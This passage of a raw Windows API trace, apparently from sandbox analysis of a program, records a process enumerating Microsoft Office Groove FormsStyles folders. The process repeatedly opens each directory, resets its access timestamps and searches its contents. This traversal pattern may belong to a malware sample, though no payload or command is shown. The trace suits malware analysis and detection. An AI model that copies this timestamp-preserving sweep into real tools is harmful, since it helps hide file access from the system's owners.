office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.904] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.905] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.905] GetLastError () returned 0x12 [0069.905] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.905] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.905] GetLastError () returned 0x12 [0069.905] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.905] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.906] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.906] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.906] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.906] GetLastError () returned 0x12 [0069.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.907] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.907] GetLastError () returned 0x12 [0069.907] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.907] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.908] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.908] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.908] GetLastError () returned 0x12 [0069.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.908] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.908] GetLastError () returned 0x12 [0069.908] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.909] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.909] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.909] GetLastError () returned 0x12 [0069.909] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d260 [0069.909] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.909] GetLastError () returned 0x12 [0069.909] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.909] GetLastError () returned 0x12 [0069.909] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0069.909] GetLastError () returned 0x12 [0069.909] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.910] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.910] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.911] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.914] GetLastError () returned 0x12 [0069.914] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0069.914] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x174e628 | out: lpFileInformation=0x174e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.915] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e66c, lpLastWriteTime=0x174e66c) returned 0 [0069.916] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e6c4, lpOverlapped=0x0) returned 0 [0069.916] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d1a0 [0069.918] GetLastError () returned 0x12 [0069.918] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x174e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e474) returned 0x60d260 [0069.918] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.918] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5eb8e810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.919] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.919] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.919] GetLastError () returned 0x12 [0069.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.919] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.919] GetLastError () returned 0x12 [0069.919] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.920] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.920] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.920] GetLastError () returned 0x12 [0069.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.920] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.920] GetLastError () returned 0x12 [0069.920] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.920] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x519a33f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f690dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.921] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.921] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.922] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.922] GetLastError () returned 0x12 [0069.922] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Biscay\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.922] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.922] GetLastError () returned 0x12 [0069.922] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0069.923] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.923] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.923] GetLastError () returned 0x12 [0069.923] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.923] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.923] GetLastError () returned 0x12 [0069.923] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.923] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.924] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e3b4, lpLastWriteTime=0x174e3b4) returned 0 [0069.924] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174e40c, lpOverlapped=0x0) returned 0 [0069.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d1a0 [0069.925] GetLastError () returned 0x12 [0069.925] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x1, lpFindFileData=0x174e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e1bc) returned 0x60d2e0 [0069.925] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.925] GetLastError () returned 0x12 [0069.925] FindClose (in: hFindFile=0x60d2e0 | out: hFindFile=0x60d2e0) returned 1 [0069.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert"), fInfoLevelId=0x0, lpFileInformation=0x174e370 | out: lpFileInformation=0x174e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, 